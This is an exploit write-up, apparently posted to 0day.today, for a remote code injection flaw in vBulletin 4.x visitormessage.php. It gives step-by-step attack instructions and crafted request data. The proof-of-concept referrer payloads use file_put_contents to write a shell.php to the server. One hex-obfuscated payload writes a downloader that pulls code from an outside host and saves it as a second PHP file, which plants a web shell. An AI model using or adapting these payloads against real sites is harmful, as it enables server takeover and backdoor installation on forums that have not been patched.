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vBulletin 4.x.x visitormessage.php Remote Code Injection Vulnerability
Author
Risk
[Security Risk Critical
]0day-ID
Category
Date add
CVE
Platform
[+] My Homepage: black-hg.org / nasirpour.info
[+] Discovered By: Dariush Nasirpour (Net.Edit0r)
[+] Greeting : Ali Razmjoo - Ehsan Nezami - Arash Shams - Ramin Shahkar and all my freinds ( #bhg )
-------------------------------------------------------------------------------------------------------------------
1) You Must Register In The vBulletin: http://www.victim.com/register.php example:[blackhat]
2) go to your user profile example: [http://www.victim.com/members/blackhat.html]
3) post something in visitor message and record post data with live http header
[example] : message_backup=&message=For-Test-Sample&wysiwyg=1&sbutton=%D8%A7%D8%B1%D8%B3%D8%A7%D9%84+%D9%BE%DB%8C%D8%BA%D8%A7%D9%85&fromquickcomment=
1&s=&securitytoken=1425024074-5bcfb5b83d466416ed95e80021abee86063cdf6e&do=message&u=110&u2=&loggedinuser=110&parseurl=1&lastcomment=1425022046&allow_ajax_qc=1&fromconverse=
4) change message to anything "For-Test-Sample" => "ALEEEEEEEEX" [because vBulletin don't let you send same comment in a time]
[Now post this with hackbar:]
URL: http://www.victim.com/visitormessage.php?do=message
[Post data]
message_backup=&message=ALEEEEEEEEX&wysiwyg=1&sbutton=%D8%A7%D8%B1%D8%B3%D8%A7%D9%84+%D9%BE%DB%8C%D8%BA%D8%A7%D9%85&fromquickcomment=
1&s=&securitytoken=1425024074-5bcfb5b83d466416ed95e80021abee86063cdf6e&do=message&u=110&u2=&loggedinuser=110&parseurl=1&lastcomment=1425022046&allow_ajax_qc=1&fromconverse=
[And referrer data:]
PoC : http://www.victim.com/members/blackhat.html?a=$stylevar[${${file_put_contents("shell.php","hacked")}}]"
[Example referrer data:]
PoC :http://www.victim.com/members/g3n3rall.html?a=$stylevar%5b$%7b$%7bfile_put_contents(
"downloader.php","\x3C\x3F\x70\x68\x70\x0D\x0A\x24\x68\x6F\x6D\x65\x70\x61\x67\x65\x20\x3D\x20\x66\x69\x6C\x65\x5F\x67\x65\x74\x5F\x63\x6F\x6E\x74\x65\x6E\x74\x73\x28\x27\x68\x74\x74\x70\x3A\x2F\x2F\x70\x61\x69\x65\x6E\x63\x68\x61\x74\x2E\x63\x6F\x6D\x2F\x64\x2F\x64\x72\x2E\x74\x78\x74\x27\x29\x3B\x0D\x0A\x24\x66\x20\x3D\x20\x66\x6F\x70\x65\x6E\x28\x27\x73\x2E\x70\x68\x70\x27\x2C\x27\x77\x27\x29\x3B\x0D\x0A\x66\x77\x72\x69\x74\x65\x28\x24\x66\x2C\x24\x68\x6F\x6D\x65\x70\x61\x67\x65\x29\x3B\x0D\x0A\x3F\x3E")}}]
5) Open hackbar and tamper it with taper data:
referrer data has been URL encoded by browser , you have to replace this again with tamper data: http://www.victim.com/cc/members/blackhat.html?a=$stylevar[${${file_put_contents("shell.php","hacked")}}]"
and submit request.
# 0day.today [2024-12-24] #